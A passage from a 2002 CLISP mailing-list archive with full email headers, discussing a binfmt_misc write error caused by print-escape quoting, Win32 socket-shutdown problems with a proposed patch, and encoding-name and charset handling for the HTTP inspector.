is no longer mounted automatically, but needs a manual mount (eg an entry in fstab) From samuel.steingold@verizon.net Wed May 15 11:14:30 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1783I8-0003f2-00 for ; Wed, 15 May 2002 11:14:24 -0700 Received: (cpmta 29927 invoked from network); 15 May 2002 11:14:02 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 15 May 2002 11:14:02 -0700 X-Sent: 15 May 2002 18:14:02 GMT To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux References: <20020317051030.A293@localhost.localdomain> <20020318231639.A1783@localhost.localdomain> <20020515191841.A233@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020515191841.A233@localhost.localdomain> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 15 11:15:05 2002 X-Original-Date: 15 May 2002 14:14:01 -0400 > * In message <20020515191841.A233@localhost.localdomain> > * On the subject of "Re: [clisp-list] with-open-file bug on linux" > * Sent on Wed, 15 May 2002 19:18:41 +0200 > * Honorable Peter Wood writes: > > > I didn't know Clisp took a :buffered nil keyword for open. It seems > > this is the way to write to peculiar files like some of the ones under > > /proc. It fixes the problem I described in the last post. > > Using Clisp's 'open' or 'with-open-file' to write to > /proc/sys/fs/binfmt_misc/register results in > > unix error 22 EINVAL > > while using linux:fopen works fine not for me: [1]> (setq s (linux:fopen "/proc/sys/fs/binfmt_misc/register" "w")) # [3]> (linux:fputs "foo" s) 1 [4]> (linux:perror "bar") bar: Invalid argument could you please build CLISP --with-debug and figure out why the write() call in full_write() in unixaux.d:309 fails? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux The early bird may get the worm, but the second mouse gets the cheese. From peter.wood@worldonline.dk Thu May 16 06:52:35 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178LgI-0001oS-00 for ; Thu, 16 May 2002 06:52:34 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 95D5BBA64 for ; Thu, 16 May 2002 15:51:33 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g4GDr3800167; Thu, 16 May 2002 15:53:03 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux Message-ID: <20020516155303.A134@localhost.localdomain> References: <20020317051030.A293@localhost.localdomain> <20020318231639.A1783@localhost.localdomain> <20020515191841.A233@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, May 15, 2002 at 02:14:01PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 06:53:05 2002 X-Original-Date: Thu, 16 May 2002 15:53:03 +0200 Hi On Wed, May 15, 2002 at 02:14:01PM -0400, Sam Steingold wrote: > > * In message <20020515191841.A233@localhost.localdomain> > > * On the subject of "Re: [clisp-list] with-open-file bug on linux" > > * Sent on Wed, 15 May 2002 19:18:41 +0200 > > * Honorable Peter Wood writes: > > > > > I didn't know Clisp took a :buffered nil keyword for open. It seems > > > this is the way to write to peculiar files like some of the ones under > > > /proc. It fixes the problem I described in the last post. > > > > Using Clisp's 'open' or 'with-open-file' to write to > > /proc/sys/fs/binfmt_misc/register results in > > > > unix error 22 EINVAL > > > > while using linux:fopen works fine > > not for me: It will work for you, if you try to write something reasonable. "foo" is not reasonable. The kernel is expecting a string formatted in a specific way, not "foo". > > [1]> (setq s (linux:fopen "/proc/sys/fs/binfmt_misc/register" "w")) > # > [3]> (linux:fputs "foo" s) > 1 Try this: ; no error checking (defun register-extension (ext interpreter) "EXT & INTERPRETER = lower case strings" (let* ((path "/proc/sys/fs/binfmt_misc/register") (fp (linux:fopen path "w")) (str (format nil ":~:@(~a~):E::~a::~a:" ext ext interpreter))) (linux:fputs str fp) (linux:fclose fp))) ;eg (register-extension "fas" "/usr/bin/clisp") registers the .fas extension as executable ; by /usr/bin/clisp with the kernel. ; you still have to 'chmod +x' your fas files you want to be executable. It _does_ work, and 'open' or 'with-open-file' do not. I will have a look at full_write in unixaux.d Regards, Peter From peter.wood@worldonline.dk Thu May 16 08:11:22 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178MuW-0000WB-00 for ; Thu, 16 May 2002 08:11:20 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 147E7B710 for ; Thu, 16 May 2002 17:10:01 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g4GFBVw00317; Thu, 16 May 2002 17:11:31 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux Message-ID: <20020516171131.A268@localhost.localdomain> References: <20020317051030.A293@localhost.localdomain> <20020318231639.A1783@localhost.localdomain> <20020515191841.A233@localhost.localdomain> <20020516155303.A134@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020516155303.A134@localhost.localdomain>; from peter.wood@worldonline.dk on Thu, May 16, 2002 at 03:53:03PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 08:12:03 2002 X-Original-Date: Thu, 16 May 2002 17:11:31 +0200 Hi, On Thu, May 16, 2002 at 03:53:03PM +0200, I wrote: > > I will have a look at full_write in unixaux.d > Well, maybe I won't ... this is quite strange: A _combination_ of :buffered nil and setting *print-escape* to nil appears to work, at least in some cases. This wasn't necessary earlier. ;;this works [56]> (setf register (open "/proc/sys/fs/binfmt_misc/register" :direction :output :buffered nil)) # [57]> (setf string (format nil ":~:@(~a~):E::~a::~a:" "fas" "fas" "/usr/bin/clisp")) ":FAS:E::fas::/usr/bin/clisp:" [58]> (write string :escape nil :stream register) ":FAS:E::fas::/usr/bin/clisp:" [59]> ;; so does this work (princ sets *print-escape* and -readably* to nil) [69]> (princ string register) ":FAS:E::fas::/usr/bin/clisp:" [70]> ;; so does this! [77]> (format register "~a" string) nil ;; these do not [82]> (format register "~s" string) *** - UNIX error 22 (EINVAL): Invalid argument [84]> (prin1 string register) *** - UNIX error 22 (EINVAL): Invalid argument 1. Break [85]> [86]> (write string :stream register) *** - UNIX error 22 (EINVAL): Invalid argument Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Thu May 16 09:00:58 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178NgW-0005JW-00 for ; Thu, 16 May 2002 09:00:57 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@sourceforge.net; Thu, 16 May 2002 17:59:41 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 16 May 2002 18:00:46 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-shutdown and broken http inspect server o n win32 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 09:01:05 2002 X-Original-Date: Thu, 16 May 2002 18:00:45 +0200 Hi, >another thing is that the page you mention suggest Ws2_32.lib while we >are using wsock32.lib. >could you please check whether this matters? Thanks to the attentive reader! However it doesn't change anything in the observed behaviour. 2. MSDN doesn't seem to document wsock32's closesocket, only the new one is mentioned. I mean I could find any documentation whether this matters. 3. from the winsock2 architecture picture I figured out that ws3_32 is the correct thing to use, since clisp includes winsock2.h. But nothing changed. Why does CLISP compiled and link with wsock32.lib? Mistery. Maybe winsock2.h is not really needed, but who cares? My suspicion is that the timeout until FD_CLOSE is sent internally by the TCP/IP stack is extremely small ("implementation dependent"), thus it's sent only slightly after closesocket() is invoked, and the remote client gets it too early??? Should we add setsockopt(linger,1 minute)? 10 minutes? Then, passing the :ABORT argument of CLOSE to low_socket_close would begin to make sense. BTW, I observe the same behaviour on MS-Woes98. BTW, you have that dysfunctional experimental #+keep-alive-line hack in inspector.lisp left in CVS r1.15. Please remove. >> shutdown(SD_BOTH) is no help >> shutdown(SD_SEND) slightly helps: i.e. a local web browser doesn't get >> an error anymore, but a remote connection only gets part of the output >this is weird since the spec appears to say that SD_BOTH ==> SD_SEND My *supposition* (i.e. attempt at logical explanation) is that the open input channel is also sent a shutdown signal, which is received much faster by the client than the remaining output data. So the client translates as "connection reset by peer" or some such. WINSOCK Error 10054 Connection reset by peer The error about reset connection also appears when I shutdown(SD_RECEIVE) before shutdown(SD_SEND). What makes me wonder is this text: "If SO_LINGER is set with a nonzero time-out interval on a blocking socket, the closesocket call blocks on a blocking socket until the remaining data has been sent or until the time-out expires. This is called a graceful disconnect. If the time-out expires before all data has been sent, the Windows Sockets implementation terminates the connection before closesocket returns." I read it as: after timeout, the connection is reset *not* gracefully. I believe it's time to peek at what other SW does (e.g. python, some Scheme, whatever one has)... Jorg Hohle From samuel.steingold@verizon.net Thu May 16 09:32:22 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178OAv-00007K-00 for ; Thu, 16 May 2002 09:32:21 -0700 Received: (cpmta 11571 invoked from network); 16 May 2002 09:32:14 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 16 May 2002 09:32:14 -0700 X-Sent: 16 May 2002 16:32:14 GMT To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux References: <20020317051030.A293@localhost.localdomain> <20020318231639.A1783@localhost.localdomain> <20020515191841.A233@localhost.localdomain> <20020516155303.A134@localhost.localdomain> <20020516171131.A268@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020516171131.A268@localhost.localdomain> Message-ID: Lines: 67 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 09:33:02 2002 X-Original-Date: 16 May 2002 12:32:13 -0400 > * In message <20020516171131.A268@localhost.localdomain> > * On the subject of "Re: [clisp-list] with-open-file bug on linux" > * Sent on Thu, 16 May 2002 17:11:31 +0200 > * Honorable Peter Wood writes: > > On Thu, May 16, 2002 at 03:53:03PM +0200, I wrote: > > > I will have a look at full_write in unixaux.d please do, if the problem persists, but first make sure that the data you are writing is actually what you really want to write! > A _combination_ of :buffered nil and setting *print-escape* to nil > appears to work, at least in some cases. This wasn't necessary > earlier. I think the problem is with your settings. *print-escape* influences "" around strings, and if "write" depends on the correct format, this may have a decisive effect! > ;;this works > > [56]> (setf register (open "/proc/sys/fs/binfmt_misc/register" :direction :output :buffered nil)) > # @1> > [57]> (setf string (format nil ":~:@(~a~):E::~a::~a:" "fas" "fas" "/usr/bin/clisp")) > ":FAS:E::fas::/usr/bin/clisp:" > [58]> (write string :escape nil :stream register) > ":FAS:E::fas::/usr/bin/clisp:" > [59]> > > ;; so does this work (princ sets *print-escape* and -readably* to nil) > > [69]> (princ string register) > ":FAS:E::fas::/usr/bin/clisp:" > [70]> > > ;; so does this! > > [77]> (format register "~a" string) > nil all these write string simply byte by byte. > ;; these do not > > [82]> (format register "~s" string) of course: this writes to register ""..."" (i.e., it sends #\" to the stream)! > *** - UNIX error 22 (EINVAL): Invalid argument > [84]> (prin1 string register) same. > *** - UNIX error 22 (EINVAL): Invalid argument > 1. Break [85]> > [86]> (write string :stream register) > > *** - UNIX error 22 (EINVAL): Invalid argument same. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Your mouse has moved - WinNT has to be restarted for this to take effect. From samuel.steingold@verizon.net Thu May 16 12:32:30 2002 Received: from h031.c001.snv.cp.net ([209.228.32.141] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178QzF-00074f-00 for ; Thu, 16 May 2002 12:32:29 -0700 Received: (cpmta 5512 invoked from network); 16 May 2002 09:39:12 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.141) with SMTP; 16 May 2002 09:39:12 -0700 X-Sent: 16 May 2002 16:39:12 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-shutdown and broken http inspect server o n win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 12:33:02 2002 X-Original-Date: 16 May 2002 12:39:10 -0400 > * In message > * On the subject of "Re: [clisp-list] socket-shutdown and broken http inspect server o n win32" > * Sent on Thu, 16 May 2002 18:00:45 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > My *supposition* (i.e. attempt at logical explanation) is that the don't look for logic where you did not put it yourself! > open input channel is also sent a shutdown signal, which is received > much faster by the client than the remaining output data. So the > client translates as "connection reset by peer" or some such. WINSOCK > Error 10054 Connection reset by peer The error about reset connection > also appears when I shutdown(SD_RECEIVE) before shutdown(SD_SEND). please try the appended patch. > I believe it's time to peek at what other SW does (e.g. python, some > Scheme, whatever one has)... can you do it? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Whom computers would destroy, they must first drive mad. --- stream.d.~1.272.~ Tue May 7 12:24:34 2002 +++ stream.d Thu May 16 12:36:47 2002 @@ -14074,7 +14074,10 @@ local void low_close_socket (object stream, object handle) { begin_system_call(); #ifdef WIN32_NATIVE - if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } + # this has to be done in this particular order and should not be + # replaced with a single SHUT_RDWR due to the Woe32 peculiarities + if (shutdown(TheSocket(handle),SD_SEND)) { SOCK_error(); } + if (shutdown(TheSocket(handle),SD_RECEIVE)) { SOCK_error(); } #endif if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } end_system_call(); From samuel.steingold@verizon.net Thu May 16 13:04:42 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178RUP-00015x-00 for ; Thu, 16 May 2002 13:04:41 -0700 Received: (cpmta 6152 invoked from network); 16 May 2002 13:04:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 16 May 2002 13:04:34 -0700 X-Sent: 16 May 2002 20:04:34 GMT To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux References: <20020317051030.A293@localhost.localdomain> <20020318231639.A1783@localhost.localdomain> <20020515191841.A233@localhost.localdomain> <20020516155303.A134@localhost.localdomain> <20020516171131.A268@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020516171131.A268@localhost.localdomain> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 13:06:04 2002 X-Original-Date: 16 May 2002 16:04:33 -0400 > * In message <20020516171131.A268@localhost.localdomain> > * On the subject of "Re: [clisp-list] with-open-file bug on linux" > * Sent on Thu, 16 May 2002 17:11:31 +0200 > * Honorable Peter Wood writes: > > > I will have a look at full_write in unixaux.d > Well, maybe I won't ... this is quite strange: please do stop in full_write and show me a string which chokes the write() call there but which goes through cat/echo/cmucl/C &c. this will be the proof of the pudding. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Don't use force -- get a bigger hammer. From samuel.steingold@verizon.net Thu May 16 13:06:42 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178RWK-0001JK-00 for ; Thu, 16 May 2002 13:06:40 -0700 Received: (cpmta 18375 invoked from network); 16 May 2002 13:06:33 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 16 May 2002 13:06:33 -0700 X-Sent: 16 May 2002 20:06:33 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-shutdown and broken http inspect server o n win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 16 13:07:06 2002 X-Original-Date: 16 May 2002 16:06:32 -0400 > * In message > * On the subject of "Re: [clisp-list] socket-shutdown and broken http inspect server o n win32" > * Sent on Thu, 16 May 2002 18:00:45 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > BTW, you have that dysfunctional experimental #+keep-alive-line hack > in inspector.lisp left in CVS r1.15. Please remove. you want CLISP to honor keep-alive or discard it? what works better? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux If You Want Breakfast In Bed, Sleep In the Kitchen. From Joerg-Cyril.Hoehle@t-systems.com Fri May 17 04:36:19 2002 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178g1x-0000uE-00 for ; Fri, 17 May 2002 04:36:17 -0700 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id NAA23112; Fri, 17 May 2002 13:35:02 +0200 (MET DST) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP for clisp-list@sourceforge.net; Fri, 17 May 2002 13:33:30 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 17 May 2002 13:32:38 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] http inspect server and Keep-Alive header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 04:37:02 2002 X-Original-Date: Fri, 17 May 2002 13:32:37 +0200 Sam Steingold wrote: >you want CLISP to honor keep-alive or discard it? >what works better? Please visit my newest bug report: inspector :http broken Content-Length http://sourceforge.net/tracker/index.php?func=detail&aid=557155&group_id=1355&atid=101355 Keep-alive could work in theory, but it currently doesn't because Content-Length is broken. Thus, the immediate gap-stopping measure is to disable keep-alive. Remove the #+disable-keep-alive line. Then, if Content-Length is made functional, keep-alive can be reestablished. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri May 17 04:56:58 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178gLw-0002x6-00 for ; Fri, 17 May 2002 04:56:57 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 17 May 2002 13:55:31 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 17 May 2002 13:55:26 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Content-Type: text/html; Charset=?? HTTP header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 04:57:04 2002 X-Original-Date: Fri, 17 May 2002 13:24:58 +0200 Hi, how could a HTTP-server writer possibly determine a correct value for = the Charset option to the Content-Type HTTP header? This is important for a CLISP built with Unicode. E.g. the CLISP inspector currently has no means to provide any charset = indication (think about asian or eastern european users). One solution path IMHO, is that an EXT:ENCODING object doesn't have = provide an API function that tells the name, although it's available = internally. That could be a good start. Are these names valid names to the HTTP/MIME Charset attribute? I suggest: (EXT:ENCODING-NAME enc) -> name (as symbol or as string) ; internal encodings: a symbol CHARSET:xyz ; GNU iconv encodings (where available): a string, as supplied to = (ext:make-encoding) to create this iconv encoding. Then, *possibly*, the header coule become #+(and CLISP UNICODE) (format socket "Content-Type: text/html; Charset=3D~A~%" (ext:encoding-name (stream-external-format socket))) I'd appreciate comments on this issue, and on the solution. Maybe some nickname mapping could be added, e.g. CP1252 -> = WINDOWS-1252, because that's what MS-junk seems to output?? For interim experiments with my proposal, you can use: (defun ext::encoding-name (encoding) (check-type encoding ext:encoding) (sys::%record-ref encoding 3)) until this gets coded as a C LISPFUN into CLISP -- if it makes sense. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri May 17 05:20:13 2002 Received: from gw1.telekom.de ([194.25.15.11] helo=fw1b.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178giR-00052A-00 for ; Fri, 17 May 2002 05:20:11 -0700 Received: by fw1b.telekom.de; (8.8.8/1.3/10May95) id OAA28611; Fri, 17 May 2002 14:19:00 +0200 (MET DST) Received: from g8pbq.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP for clisp-list@sourceforge.net; Fri, 17 May 2002 14:20:05 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 17 May 2002 14:20:05 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-shutdown and broken http inspect server o n win32 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 05:21:01 2002 X-Original-Date: Fri, 17 May 2002 13:40:22 +0200 Hi, >can you do it? [peek at other sources] I have no time for now. My belief is: the answer will come from some knowledge-holder, not from more trial&error. I don't want to program by trial&error. I.e., who, on a single system, could have noticed that a straightforward SD_SEND patch works for client and server on a single machine (in most situations), but fails miserably (0 bytes transmitted!) on an unloaded machine, when accessed remotely?? I want a reliable solution. So for now, the bug solving is put on hold until somebody comes up with another idea or solution path. Sam Steingold wrote: >please try the appended patch. I already tried this and other combinations. No change. #ifdef WIN32_NATIVE - if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } + # this has to be done in this particular order and should not be + # replaced with a single SHUT_RDWR due to the Woe32 peculiarities + if (shutdown(TheSocket(handle),SD_SEND)) { SOCK_error(); } + if (shutdown(TheSocket(handle),SD_RECEIVE)) { SOCK_error(); } #endif if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri May 17 07:04:49 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178iLf-0004ET-00 for ; Fri, 17 May 2002 07:04:47 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 17 May 2002 16:03:31 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 17 May 2002 16:04:36 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 07:05:03 2002 X-Original-Date: Fri, 17 May 2002 16:04:34 +0200 Sam Steingold wrote: >> Sadly, min_bytes_per_char still looks like the solution - if >> the slots were correct for all encodings, which they are obviously >> not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16). > >this cannot be done properly for iconv-based encodings since there is >no way to query libiconv for this information. >I think these are set correctly for built-in encodings. Sadly, having incorrectly set slots not only hinders WITH-FOREIGN-STRING, but also breaks other parts of the system which rely on correct information. Example of another bug: > (setf custom:*foreign-encoding* (ext:make-encoding :charset "ISO-8859-1")) *** - SYSTEM::SET-FOREIGN-ENCODING: # is not a 1:1 encoding This error is complete nonsense, "ISO-8859-1" is a 1:1 encoding we all know, except that CLISP checks the misdefined min/max_bytes_per_char slots of this external encoding and errors. Obviously, having correct min/max is the "better" solution. Microsoftian advice: "don't do that. Use :charset charset:iso-8859-1. Impnotes says that built-in encodings are preferred". BTW, Impnotes says: "When an encoding is available as a built-in and through iconv(), the built-in is preferred, because it is more efficient and available across platforms." I find this confusing, "preferred" by who? Does that mean that CLISP automatically switches to an built-in one? Does that mean that the programmer ought to use built-in using charset:name instead of "name"? I'd suggest a wording like: "..., we recommend using the built-in one, because ..." Regards, Jorg Hohle. From csr21@cam.ac.uk Fri May 17 07:26:27 2002 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 